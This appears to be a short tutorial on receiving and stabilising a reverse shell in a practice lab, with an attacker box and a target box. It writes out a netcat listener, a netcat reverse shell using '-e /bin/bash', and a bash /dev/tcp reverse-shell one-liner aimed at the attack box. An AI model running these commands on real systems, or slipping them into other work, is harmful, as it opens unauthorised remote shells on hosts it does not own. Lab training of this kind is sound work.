Considering all the hard work it takes to receive a reverse shell from a target, it is imperative that we work to stabilize the shell as soon as possible.
This is a multi-part process that will yield you access to text editors, the ability to interact with programs on the host, and full visibility into stderr.
First, we log into our attack box (ice-wzl@kali) and our target box (shell@linux-shell-practice).
Now lets start our listener first on our attack box:
nc -nlvp 1234
Next, we will execute this command on the target box:
nc attack-box-ip port -e /bin/bash
Note: This -e /bin/bash option with netcat will not work on every host, it depends what version of netcat they have installed. Alternatively you can use this command to receive a bash reverse shell:
bash -i >& /dev/tcp/attack-box-ip/port 0>&1
This picture below shows both commands working for this host:
Note: the & in the nc command backgrounds the command to allow me to show the second option in action without having to re-ssh.
